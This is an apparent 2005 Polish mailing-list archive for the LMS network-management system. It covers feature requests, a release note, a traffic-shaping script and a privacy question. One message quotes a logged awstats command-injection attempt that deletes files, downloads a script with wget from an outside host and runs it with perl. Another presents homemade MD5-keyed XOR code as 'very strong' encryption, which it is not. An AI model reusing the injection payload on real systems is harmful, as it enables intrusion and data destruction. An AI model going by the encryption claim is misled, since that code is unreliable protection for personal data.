- lms - lists.lms.org.pl

Ochrona danych osobowych a LMS - dlugie
by Witold Rak 11 Lis '05

11 Lis '05

Prowadze firme i uzywam LMS, ale ostanio z racji prowadzonej dzialalnosci trzeba zglosic sie do ABW (Agencja Bezpieczenstwa Wewnetrzego) i wypelnic ankiete bezpieczenstwa itp. Problem polega na tym, ze w przypadku wlamania sie do serwera, lub uzystanie hasla do LMS'a osoba postronna otrzymuje pelen wykaz wszytskich uzytkownikow (abonentow) wraz z danymi podlegajacymi ochoronie danych osobowych. U mnie sam LMS jest chroniony certyfikatem i odpowiednimi zabezpieczeniami ktore oferuje sam Apache, ale niestety dane w bazie sa plain-text i tego nie moge bez wiekszej ingerencji w kod zrodlowy zakodowac. Pytanie kierowane do programistów: Czy uda sie zakodowac dane wysyłane on-line do i z bazy, najprostrzym kodem (chociazby xor) lub wykorzystujac ponizszy kod by dane w samej bazie nie byly w postaci zakodowanej, zas wyswietlane na stonach WWW byly czytelne? WRaq Moze podam gotowe rozwiazanie o bardzo mocnym kodowaniu danych. definie('LIB_CRYPT_PASSWORD', 'Tu wpisujemy unikalne haslo do kodowania swoich danych') //========================================================================== === function lib_crypt_hex2bin($data) { $out = ''; $ile = strlen($data); for ($i=0; $i<$ile; $i+=2) { $out .= pack("C", hexdec(substr($data, $i, 2)) ); } return $out; } //========================================================================== === function lib_crypt_crypt_key_MD5($txt) { //global LIB_CRYPT_PASSWORD; if (!defined('LIB_CRYPT_PASSWORD')) defined('LIB_CRYPT_PASSWORD', "DefaultVeryHardPassword"); $encrypt_key = md5(LIB_CRYPT_PASSWORD); $ctr=0; $out = ""; $ile=strlen($txt); for ($i=0; $i<$ile; $i++) { if ($ctr == strlen($encrypt_key)) $ctr=0; $out.= substr($txt, $i, 1) ^ substr($encrypt_key, $ctr, 1); $ctr++; } return $out; } //========================================================================== === function lib_crypt_decodeMD5($bin) { $txt = lib_crypt_crypt_key_MD5( lib_crypt_hex2bin ($bin) ); $tmp = ''; $ile=strlen($txt); for ($i=0;$i<$ile;$i++) { $md5 = substr($txt, $i, 1); $i++; $tmp.= (substr($txt, $i, 1) ^ $md5); } return $tmp; } //========================================================================== === function lib_crypt_encodeMD5( $bin ) { srand( (double) microtime() * 1000000 ); $encrypt_key = md5( rand( 0, 32000 ) ); $ctr = 0; $tmp = ''; $ile=strlen( $bin ); for ($i=0;$i<$ile;$i++) { if ($ctr==strlen($encrypt_key)) $ctr=0; $tmp.= substr($encrypt_key,$ctr,1) . (substr($bin,$i,1) ^ substr($encrypt_key,$ctr,1)); $ctr++; } return bin2hex(lib_crypt_crypt_key_MD5($tmp)); } //========================================================================== === //funkcja kodujaca zwraca 4x wiekszy ciag znakow niz wejsciowy lub blob bez uzycia funkcji bin2hex !!! function lib_crypt_encrypt($txt) { srand( (double) microtime() * 1000000 ); $encrypt_key = md5( rand(0, 32000) ); $ctr = 0; $tmp = ''; $ile=strlen($txt); for ($i=0; $i<$ile; $i++) { if ($ctr==strlen($encrypt_key)) $ctr=0; $tmp.= substr($encrypt_key,$ctr,1) . (substr($txt,$i,1) ^ substr($encrypt_key,$ctr,1)); $ctr++; } return bin2hex(lib_crypt_crypt_key_MD5($tmp)); } //========================================================================== === //po zdekodowaniu otrzymujemy 4x mniejszy tekst function crypt_decrypt($txt) { $txt = lib_crypt_crypt_key_MD5( lib_crypt_hex2bin($txt) ); $out = ''; $ile = strlen($txt); for ($i=0; $i<$ile; $i++) { $md5 = substr($txt, $i, 1); $i++; $out.= (substr($txt, $i, 1) ^ $md5); } return $out; } //========================================================================== === ----------- WRaq

1 0

Re: drobne uwagi
by Tomasz Chilinski 11 Lis '05

11 Lis '05

On Fri, 11 Nov 2005 13:58:11 +0100, exe_2 wrote > >----- Original Message ----- > >From: "Tomasz Chilinski" <chilek(a)chilan.com> > >To: <lms(a)lists.rulez.pl> > >Sent: Friday, November 11, 2005 1:14 PM > >Subject: [lms] Re: drobne uwagi > > "limit" można podawać w procentach. To wystarczy do tego o czym > > piszesz. > > Czyli mogę wpisać np -300% i będzie to oznaczało 3 krotny abonament ? > Piotr Grenda Bez minusa czyli 300%.

1 0

Re: drobne uwagi
by exe_2 11 Lis '05

11 Lis '05

>----- Original Message ----- >From: "Tomasz Chilinski" <chilek(a)chilan.com> >To: <lms(a)lists.rulez.pl> >Sent: Friday, November 11, 2005 1:14 PM >Subject: [lms] Re: drobne uwagi > "limit" można podawać w procentach. To wystarczy do tego o czym > piszesz. Czyli mogę wpisać np -300% i będzie to oznaczało 3 krotny abonament ? Piotr Grenda

1 0

problem z podziałem łacza
by ark23＠o2.pl 11 Lis '05

11 Lis '05

Mam pewniem problem przez jakis czas wszystko chodziło ok czyli lms dzielił łacze przez rc.htb generował go i z niego działał ale w pewnym momencje przestał :( zaczoł scinac do 5 kbs wszystkim sprawdziłem wpisy w rc.htb sa dobre jak wyłącze dzielenie łacza przez lms to wszystko wraca do nbormy ale juz bez podziału łacza łącza mam dwa połaczone przez autobalansing 2mb polplak i 2mb dsl jesli ktos moze sprawdzic czy jest to dobre ustawienie :( oto instancje dla htb : begin #!/bin/sh IPT=/usr/local/sbin/iptables TC=/usr/local/sbin/tc LAN=eth1 WAN=eth0 BURST="burst 30k" stop () { $IPT -t mangle -D FORWARD -i $WAN -j LIMITS >/dev/null 2>&1 $IPT -t mangle -D FORWARD -o $WAN -j LIMITS >/dev/null 2>&1 $IPT -t mangle -F LIMITS >/dev/null 2>&1 $IPT -t mangle -X LIMITS >/dev/null 2>&1 $IPT -t mangle -F OUTPUT $IPT -t filter -F FORWARD $TC qdisc del dev $LAN root 2> /dev/null $TC qdisc del dev $WAN root 2> /dev/null } start () { stop $IPT -t mangle -N LIMITS $IPT -t mangle -I FORWARD -i $WAN -j LIMITS $IPT -t mangle -I FORWARD -o $WAN -j LIMITS # incomming traffic $IPT -t mangle -A OUTPUT -j MARK --set-mark 1 $TC qdisc add dev $LAN root handle 1:0 htb default 3 r2q 1 $TC class add dev $LAN parent 1:0 classid 1:1 htb rate 99000kbit ceil 99000kbit quantum 1500 $TC class add dev $LAN parent 1:1 classid 1:2 htb rate 3000kbit ceil 3000kbit $TC class add dev $LAN parent 1:1 classid 1:3 htb rate 98500kbit ceil 98500kbit prio 9 quantum 1500 $TC qdisc add dev $LAN parent 1:3 esfq perturb 10 hash dst # priorities for ICMP, TOS 0x10 and ports 22 and 53 $TC class add dev $LAN parent 1:2 classid 1:20 htb rate 3500kbit ceil 3500kbit $BURST prio 1 quantum 1500 $TC qdisc add dev $LAN parent 1:20 esfq perturb 10 hash dst $TC filter add dev $LAN parent 1:0 protocol ip prio 2 u32 match ip sport 22 0xffff flowid 1:20 $TC filter add dev $LAN parent 1:0 protocol ip prio 2 u32 match ip sport 53 0xffff flowid 1:20 $TC filter add dev $LAN parent 1:0 protocol ip prio 1 u32 match ip tos 0x10 0xff flowid 1:20 $TC filter add dev $LAN parent 1:0 protocol ip prio 1 u32 match ip protocol 1 0xff flowid 1:20 # serwer -> LAN $TC filter add dev $LAN parent 1:0 protocol ip prio 4 handle 1 fw flowid 1:3 # outgoing traffic $TC qdisc add dev $WAN root handle 2:0 htb default 11 r2q 1 $TC class add dev $WAN parent 2:0 classid 2:1 htb rate1500kbit ceil 3500kbit # priorities for ACK, ICMP, TOS 0x10, ports 22 and 53 $TC class add dev $WAN parent 2:1 classid 2:10 htb rate 1500kbit ceil 2000kbit prio 1 quantum 1500 $TC qdisc add dev $WAN parent 2:10 esfq perturb 10 hash dst $TC filter add dev $WAN parent 2:0 protocol ip prio 1 u32 match ip protocol 6 0xff match u8 0x05 0x0f at 0 match u16 0x0000 0xffc0 at 1 match u8 0x10 0xff at 33 flowid 2:10 $TC filter add dev $WAN parent 2:0 protocol ip prio 1 u32 match ip dport 22 0xffff flowid 2:10 $TC filter add dev $WAN parent 2:0 protocol ip prio 1 u32 match ip dport 53 0xffff flowid 2:10 $TC filter add dev $WAN parent 2:0 protocol ip prio 1 u32 match ip tos 0x10 0xff flowid 2:10 $TC filter add dev $WAN parent 2:0 protocol ip prio 1 u32 match ip protocol 1 0xff flowid 2:10 # serwer -> Internet $TC class add dev $WAN parent 2:1 classid 2:11 htb rate 1500kbit ceil 2000kbit prio 2 quantum 1500 $TC qdisc add dev $WAN parent 2:11 esfq perturb 10 hash dst $TC filter add dev $WAN parent 2:0 protocol ip prio 3 handle 1 fw flowid 2:11 $TC filter add dev $WAN parent 2:0 protocol ip prio 9 u32 match ip dst 0/0 flowid 2:11 # hosts \n command file /tmp/rc.htb Dziekuje z góry i prosze o pomoc bo siedzie nad tym od 2 dni :(

1 0

Re: drobne uwagi
by Tomasz Chilinski 11 Lis '05

11 Lis '05

On Fri, 11 Nov 2005 13:06:58 +0100, exe_2 wrote > Witam , tak wdrażając kolejne funkcjonalności u mnie w firmie > nasunęło mi się kilka uwag , czy można by było : zrobić podsumowanie > wartości przy zestawieniu KP ? Czy zestawienie KP mogłoby mieć wybór > zakresu dat ? Czy da się zrobić żeby włączenie ostrzeżeń było > deklarowane nie kwotą , a np ilością spóźnionych abonamentów ? u > mnie mają różne taryfy i zdeklarowanie np - 180 spowoduje że części > userów się włączy po 3 miesiącach niepłacenia a u innych od razu :(. > Pozdrawiam Piotr Grenda "limit" można podawać w procentach. To wystarczy do tego o czym piszesz. Pozdrawiam.

1 0

drobne uwagi
by exe_2 11 Lis '05

11 Lis '05

Witam , tak wdrażając kolejne funkcjonalności u mnie w firmie nasunęło mi się kilka uwag , czy można by było : zrobić podsumowanie wartości przy zestawieniu KP ? Czy zestawienie KP mogłoby mieć wybór zakresu dat ? Czy da się zrobić żeby włączenie ostrzeżeń było deklarowane nie kwotą , a np ilością spóźnionych abonamentów ? u mnie mają różne taryfy i zdeklarowanie np - 180 spowoduje że części userów się włączy po 3 miesiącach niepłacenia a u innych od razu :(. Pozdrawiam Piotr Grenda

1 0

LMS-1.7.6 Grannus (NEW)
by A.L.E.C 11 Lis '05

11 Lis '05

Z uwagi na rozpoczęty proces modularyzacji interfejsu użytkownika, dość szybko wydaliśmy 1.7.5, która jak się okazało nie nadawała się do użytku. Dlatego już jest 1.7.6. W obu wersjach nie mam wielu nowości, ale ulepszenia modułów fiannsowych mogą się spodobać wielu użytkownikom. Wprowadzono także kilka propozycji zgłoszonych do BTSu. Po kolei: - statystyki w oknie informacji o komputerze, - możliwość zmiany/przypisania klienta podczas edycji zgłoszenia, - dodane wydruki formularzy przelewu, - zmieniono wygląd bilansu użytkownika, - obciążenia jednorazowe i beztaryfowe. Download: http://lms.rulez.pl/download/1.7/lms-1.7.6.tar.gz http://lms.rulez.pl/download/1.7/lms-1.7.6+libs.tar.gz -- Aleksander 'A.L.E.C' Machniak - http://alec.pl gg:2275252 LAN Management System Developer - http://lms.rulez.pl

1 0

Re: off_top-Szkodnik atakuje serwery linuksowe
by Tomasz Maciorowski 10 Lis '05

10 Lis '05

Rafal Drozd napisał(a): >W Twoim liście datowanym 9 listopada 2005 (04:04:14) można przeczytać: > > > > >>Sorki za watek nie zwiazany z lista, jednak musze sie podzielic informacja, >>ktora mnie zaciekawila lecz sprawdziwszy mnie to nie dotyczy. >>Moze jednak komus sie przyda? bo nie kazdy czyta niusy >> >> > > > >>"Od wczoraj firmy antywirusowe donoszą o robaku atakującym serwery działające >>na systemie Linux. Zagrożenie oceniane jest jako średnie lub niskie (w >>zależności od dostawcy systemów bezpieczeństwa)..." >> >> > > > >>Caly tekst pod ponizszym adresem: >>http://di.com.pl/news/11808,2.html >>oraz opis:http://vil.nai.com/vil/content/v_136821.htm >> >> > >taaaa >219.166.34.48 - - [10/Oct/2005:08:42:46 +0200] "GET //awstats.pl?configdir=|echo%20;cd%20/tmp;rm%20-rf%20*;killall%20-9%20perl;wget%20members.lycos.co.uk/cicimare/a.txt;perl%20a.txt;echo%20;rm%20-rf%20a.txt*;echo| HTTP/1.1" 404 1058 > >wiec jak widac wiadomosc do swiezych nie nalezy ;p > > > wget members.lycos.co.uk/cicimare/a.txt zdarzyliście sciągnać plik ?? jest juz 23:44:08 BŁĄD 404: Not Found.

1 0

Re: [patch]Adres komputera użytkownika vs Proxy
by Łukasz Mozer 09 Lis '05

09 Lis '05

On Sun, 06 Nov 2005 14:06:51 +0100 Jerzy Kolosowski <jerzykolosowski(a)poczta.onet.pl> wrote: > Ponieważ przy włączonym proxy lms wykrywał adres połączenia serwera > proxy, a nie usera to poprawilem to. > Powinno juz dzialac w kazdym, nawet egzotycznym przypadku korzystania z > proxy. zostawilem tez zmienna > $proxy przechowujaca adres serwera proxy, moze sie do czegos przyda > developerom. A ja chciałbym tylko zauważyć iż jakiś czas temu wyrzuciliśmy jakikolwiek support do rozpoznawania adresu zza proxy gdyż dokąd nie skonfigurujemy listy zaufanych adresów proxy jest to bardzo zgubne... -- Łukasz Jarosław Mozer http://www.baseciq.org mailto: lukasz(a)rulez.pl

1 0

Re: [lms] Re: Upgrady DB między wersjami
by Rafal Drozd 09 Lis '05

09 Lis '05

W Twoim liście datowanym 9 listopada 2005 (17:23:44) można przeczytać: > Ja już proponowałem auto backup przed każdą sekwencją upgradu - było by > puźniej mniej głupich pytań o downgrade... Popieram -- Pozdrowienia, Rafal Drozd

1 0